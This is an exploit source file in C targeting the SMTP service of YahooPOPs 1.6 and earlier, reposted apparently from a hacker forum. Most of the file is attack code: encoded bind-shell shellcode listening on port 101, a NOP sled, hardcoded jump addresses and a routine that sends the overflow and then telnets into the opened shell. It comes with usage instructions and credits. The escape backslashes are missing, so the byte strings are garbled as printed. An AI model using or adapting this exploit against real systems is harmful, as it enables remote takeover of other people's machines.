信息来源:dcrab#hackerscenter.com
复制内容到剪贴板
代码:
//Diabolic Crab's exploit for YahooPOPs <= 1.6 SMTP
//dcrab@hackerscenter.com
//www.hackerscenter.com
//For more work check out, [url]http://icis.digitalparadox.org[/url]
//This was done at 4 am so escuse the messy code if any
//Good job class101 on the windows version ;)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <unistd.h>
#include <sys/socket.h>
char scode[] = //Bind shell on port 101, taken from the windows exploit by class101
"xEB"
"x0Fx58x80x30x88x40x81x38x68x61x63x6Bx75xF4xEBx05xE8xECxFFxFF"
"xFFx60xDEx88x88x88xDBxDDxDExDFx03xE4xACx90x03xCDxB4x03xDCx8D"
"xF0x89x62x03xC2x90x03xD2xA8x89x63x6BxBAxC1x03xBCx03x89x66xB9"
"x77x74xB9x48x24xB0x68xFCx8Fx49x47x85x89x4Fx63x7AxB3xF4xACx9C"
"xFDx69x03xD2xACx89x63xEEx03x84xC3x03xD2x94x89x63x03x8Cx03x89"
"x60x63x8AxB9x48xD7xD6xD5xD3x4Ax80x88xD6xE2xB8xD1xECx03x91x03"
"xD3x84x03xD3x94x03x93x03xD3x80xDBxE0x06xC6x86x64x77x5Ex01x4F"
"x09x64x88x89x88x88xDFxDExDBx01x6Dx60xAFx88x88x88x18x89x88x88"
"x3Ex91x90x6Fx2Cx91xF8x61x6DxC1x0ExC1x2Cx92xF8x4Fx2Cx25xA6x61"
"x51x81x7Dx25x43x65x74xB3xDFxDBxBAxD7xBBxBAx88xD3x05xC3xA8xD9"
"x77x5Fx01x57x01x4Bx05xFDx9CxE2x8FxD1xD9xDBx77xBCx07x77xDDx8C"
"xD1x01x8Cx06x6Ax7AxA3xAFxDCx77xBFx77xDDxB8xB9x48xD8xD8xD8xD8"
"xC8xD8xC8xD8x77xDDxA4x01x4FxB9x53xDBxDBxE0x8Ax88x88xEDx01x68"
"xE2x98xD8xDFx77xDDxACxDBxDFx77xDDxA0xDBxDCxDFx77xDDxA8x01x4F"
"xE0xCBxC5xCCx88x01x6Bx0Fx72xB9x48x05xF4xACx24xE2x9DxD1x7Bx23"
"x0Fx72x09x64xDCx88x88x88x4ExCCxACx98xCCxEEx4FxCCxACxB4x89x89"
"x01xF4xACxC0x01xF4xACxC4x01xF4xACxD8x05xCCxACx98xDCxD8xD9xD9"
"xD9xC9xD9xC1xD9xD9xDBxD9x77xFDx88xE0xFAx76x3Bx9Ex77xDDx8Cx77"
"x58x01x6Ex77xFDx88xE0x25x51x8Dx46x77xDDx8Cx01x4BxE0x77x77x77"
"x77x77xBEx77x5Bx77xFDx88xE0xF6x50x6AxFBx77xDDx8CxB9x53xDBx77"
"x58x68x61x63x6Bx90";
static char payload[1024];
char jmp[]="x23x9bx02x10"; //JMP ESP
char jmpebx[]="xffxe3"; //JMP EBX
void usage(char* us);
void ver();
int main(int argc, char *argv[])
{
ver();
char grab[999];
int sock;
if (argc<4){
usage(argv[0]);return -1;
}
int ip=htonl(inet_addr(argv[1])), port, size, x;
if (argc==3){port=atoi(argv[2]);}
else port=25;
struct hostent *aap;
struct sockaddr_in addr;
if((aap=(struct hostent *)gethostbyname(argv[1]))==NULL) {
perror("Gethostbyname()");
exit(1); }
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
perror("Socket()");
exit(1); }
addr.sin_family=AF_INET;
addr.sin_port=htons(port);
memcpy((char *)&addr.sin_addr,(char *)aap->h_addr,aap->h_length);
if(connect(sock,(struct sockaddr *)&addr,sizeof(addr))!=0) {
perror("Connect()");
exit(0); }
printf ("[+] Connectedn");
fflush(stdin);
sleep(2);
read(sock,grab,200);
printf ("[+] Reading Bannern");
if (!strstr(grab,"220 YahooPOPs")) {
printf("[+] this is not a YahooPOPS server, quitting...n");
return -1; }
printf ("[+] Found YahooPOP's Servern");
size=508-sizeof(scode);
memset(payload,0,sizeof(payload));
for (x=0;x<size;x++){strcat(payload,"x90");}
strcat(payload,scode);strcat(payload,jmp);strcat(payload,jmpebx);
printf ("[+] Sending Shellcoden");
if (send(sock, payload, strlen(payload), 0) < 0) {
perror("Send()");
exit(0); }
printf ("[+] Sleep for 3 secondsn");
sleep(3);
char hack[100];
sprintf (hack, "telnet %s 101", argv[1]);
system (hack);
return 0;
}
void usage(char* us)
{
printf("Usage: ./dc_ypop ip portn");
printf("The exploit binds a shell to the port 101.n");
return;
}
void ver()
{
printf ("################################################################n");
printf ("# Diabolic Crab's Bind Shell Exploit for YahooPOPS <= 1.6 SMTP #n");
printf ("# [email]dcrab@hackerscenter.com[/email] [url]www.hackerscenter.com[/url] #n");
printf ("# Credits to Behrang Fouladi for finding this bug #n");
printf ("################################################################n");
}
